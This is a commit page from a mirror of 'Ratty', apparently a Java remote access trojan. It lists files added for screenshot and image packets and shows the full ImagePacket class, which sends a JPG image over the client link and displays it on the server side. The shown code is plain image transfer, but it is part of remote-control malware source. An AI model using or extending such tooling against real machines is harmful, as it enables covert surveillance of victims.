mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
7 changed files with 135 additions and 90 deletions
-
8Ratty/src/de/sogomn/rat/Ratty.java
-
6Ratty/src/de/sogomn/rat/packet/IPacket.java
-
77Ratty/src/de/sogomn/rat/packet/ImagePacket.java
-
5Ratty/src/de/sogomn/rat/packet/PacketType.java
-
7Ratty/src/de/sogomn/rat/packet/PopupPacket.java
-
81Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
-
41Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java
@ -0,0 +1,77 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import java.awt.image.BufferedImage; |
|||
import java.io.ByteArrayInputStream; |
|||
import java.io.ByteArrayOutputStream; |
|||
import java.io.IOException; |
|||
|
|||
import javax.imageio.ImageIO; |
|||
|
|||
import de.sogomn.engine.Screen; |
|||
import de.sogomn.engine.Screen.ResizeBehavior; |
|||
import de.sogomn.rat.ActiveClient; |
|||
|
|||
public final class ImagePacket implements IPacket { |
|||
|
|||
private BufferedImage image; |
|||
|
|||
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); |
|||
|
|||
public ImagePacket() { |
|||
image = NO_IMAGE; |
|||
} |
|||
|
|||
public ImagePacket(final BufferedImage image) { |
|||
this.image = image; |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveClient client) { |
|||
final ByteArrayOutputStream out = new ByteArrayOutputStream(); |
|||
|
|||
try { |
|||
ImageIO.write(image, "JPG", out); |
|||
} catch (final IOException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
|
|||
final byte[] data = out.toByteArray(); |
|||
|
|||
client.writeInt(data.length); |
|||
client.write(data); |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveClient client) { |
|||
final int length = client.readInt(); |
|||
final byte[] data = new byte[length]; |
|||
|
|||
client.read(data); |
|||
|
|||
final ByteArrayInputStream in = new ByteArrayInputStream(data); |
|||
|
|||
try { |
|||
image = ImageIO.read(in); |
|||
} catch (final IOException ex) { |
|||
image = NO_IMAGE; |
|||
|
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public void execute(final ActiveClient client) { |
|||
final int width = image.getWidth(); |
|||
final int height = image.getHeight(); |
|||
|
|||
final Screen screen = new Screen(width, height); |
|||
|
|||
screen.addListener(g -> { |
|||
g.drawImage(image, 0, 0, width, height, null); |
|||
}); |
|||
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); |
|||
screen.show(); |
|||
screen.redraw(); |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue